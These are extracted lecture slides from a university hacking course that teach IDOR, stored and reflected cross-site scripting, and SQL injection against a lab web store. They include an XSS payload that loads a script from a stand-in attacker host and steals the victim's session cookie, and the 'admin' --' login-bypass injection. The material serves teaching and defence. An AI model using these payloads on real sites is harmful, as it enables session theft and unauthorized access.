Hack Lab seal: APT 268, Cardinal Hackers, Rooted in Victory

INTLPOL 268: Hack Lab

Week 4 · Part 2

Web Applications

Alex StamosStanford University
Fall 2026Friday, October 16, 2026

Week 4 · Part 2

What will we learn today?

Today, we will…

  • Use a web app to run code in somebody else’s browser
  • Inject commands that the web app runs for us
  • Work out where, exactly, each bad thing happens

Recap

Three big types of web app attacks

01

Asking the app to do what you want.

Change what the browser sends — a number, a cookie, a hidden field — and see whether the server checks.

Last week · IDOR
02

Using the web app to get code running in somebody else’s browser.

Cross-site scripting: your input becomes part of a page another person loads.

Today
03

Injecting commands to be run directly by the web app.

SQL injection: your input becomes part of a command the server runs on your behalf.

Today

Part one

JavaScript confusion

Cross-site scripting

Imagine a simple social network

Cross-site scripting

Imagine a simple XSS attack

Stored XSS

What happened?

This is called stored Cross-Site Scripting, or stored XSS.

  1. Alex sent a message containing JavaScript.
  2. The social app combined that message with the rest of the page.
  3. The web browser can’t tell what is legit and what isn’t — it all looks like HTML from the server.

Reflected XSS

A very simple search

A question

Wait, doesn’t that only hurt the person sending the request?

Reflected XSS · the trick

Nope

badguy.example Free Stanford hoodies!!! <img src="https://store.hacklab.internal/ ?search=<script src=https://badguy.example/bad.js> </script>"> ← hidden in the page bad.js is now running hereas if it were part of the Store’s page,with the Store’s cookies in reach A regular user’s browser Bad websitebadguy.example XSS targetstore.hacklab.internal GET / HTTP/2 200 OK · a huge complex HTML file, with one extra line in it GET /?search=<script src=https://badguy.example/bad.js></script>Cookie: session=eyJ… (the victim’s Store login) “I couldn’t find anything about <script src=…>” — reflected “Here is my Store cookie!”

Part two · another class of attacks

Injection, aka the Confused Deputy

Injection

The confused deputy

A program that has authority you don’t, tricked into using that authority for you.

  1. You can’t talk to the database. The web server can.
  2. The web server builds a database command and pastes your words into it.
  3. The database can’t tell which words were the server’s and which were yours. It just runs the command.
  4. Same shape every time: SQL, shell commands, file paths, LDAP, and — next week — prompts to an AI model.

Hardy, N. (1988). The confused deputy (or why capabilities might have been invented). ACM SIGOPS Operating Systems Review, 22(4), 36–38.

SQL injection · the Store’s admin login

The classic SQL injection example

What the server meant · username=admin & password=pass1234

SELECT id, username, is_admin FROM users WHERE username = 'admin' AND password_hash = '5f4dcc3b…' AND is_admin = 1;

What the attacker typed as a username · admin' --

SELECT id, username, is_admin FROM users WHERE username = 'admin' --' AND password_hash = '5f4dcc3b…' AND is_admin = 1;

The quote ' closes the string the server opened. -- starts a SQL comment, so everything after it — including the password check — is ignored. The database finds admin and says yes.

Part three · review

Where does the bad action happen?

Review · the pieces

A simple website + Burp

Malicious actorRegular userBrowserFirefoxBurpproxyServerstore.hacklab.internalDatabaseSQLiteRequestQueryRowsResponseRegular userMalicious actorMalicious action, travelling as dataMalicious action runs hereRequestResponse

Review · 01

IDOR

Malicious actorRegular userBrowserFirefoxBurpproxyServerstore.hacklab.internalDatabaseSQLitelogs in, clicks aroundGET /profile/2Change the parameter(or the cookie): 2 → 1GET /profile/1Hands over someone else’s data(or moves their money)200 OK · Success!

Review · 02

Reflected XSS

Malicious actorRegular userBrowserFirefoxBurpproxyServerstore.hacklab.internalDatabaseSQLite“Hey, click this link”clicksGET /?search=<script src=https://badguy.example/bad.js>bad code, sent as text“I couldn’t find anything about <script src=…>”bad code, reflected back as part of the page<script> runs in the victim’s browser“Here is my cookie!”

Review · 02

Stored XSS

Malicious actorRegular userBrowserFirefoxBurpproxyServerstore.hacklab.internalDatabaseSQLitewrites a product commentPOST /add_comment/1 · bad code, sent as textINSERT … · stored, as datalater: just a regular visitGET /product/1SELECT … · the comment comes backthe product page, comment included<script> runs in the victim’s browser

Review · 03

SQL injection

Malicious actorRegular userBrowserFirefoxBurpproxyServerstore.hacklab.internalDatabaseSQLitetypes a usernamePOST /login · username=admin' --SELECT … WHERE username = 'admin' --…bad SQL, built by the server from the attacker’s wordsRuns the attacker’s command(reads or changes records)a row for admin302 → /admin/dashboard · Success!

Hands on · Lab 4: Breaking a Web Store

Lab

  1. Insecure direct object references: whose profile is this?
  2. The price is right — or is it?
  3. Reflected cross-site scripting: when a search comes back as code
  4. Stored cross-site scripting: a comment that waits for its reader
  5. SQL injection: changing the meaning of the login query
  6. A second reader: stored input in the support workflow

Lab instructions and your assigned systems are in the course console: console.hacklab.info

Also todayThe take-home midterm posts after class. Four hours once you start; open note, open reading.